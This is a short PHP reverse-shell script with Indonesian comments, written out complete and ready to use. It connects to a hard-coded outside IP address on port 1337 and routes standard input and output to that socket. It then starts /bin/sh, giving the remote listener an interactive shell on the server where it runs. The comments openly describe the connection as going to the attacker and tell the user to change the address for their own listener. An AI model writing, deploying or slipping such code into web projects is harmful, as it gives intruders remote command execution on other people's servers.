// Reverse Shell PHP tanpa fungsi command
// Ganti alamat IP dan port sesuai dengan listener Anda
$ip = '178.128.52.165';
$port = 1337;
// Membuka koneksi ke attacker
$sock = fsockopen($ip, $port);
if (!$sock) {
exit(1);
}
// Mengalihkan stdin, stdout, dan stderr ke socket
$descriptorspec = array(
0 => $sock, // stdin
1 => $sock, // stdout
2 => $sock // stderr
);
// Menjalankan shell interaktif
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
if (!is_resource($process)) {
fclose($sock);
exit(1);
}
// Menunggu proses selesai
while ($status = proc_get_status($process)) {
if (!$status['running']) {
break;
}
usleep(100000); // Tunggu 0.1 detik
}
proc_close($process);
fclose($sock);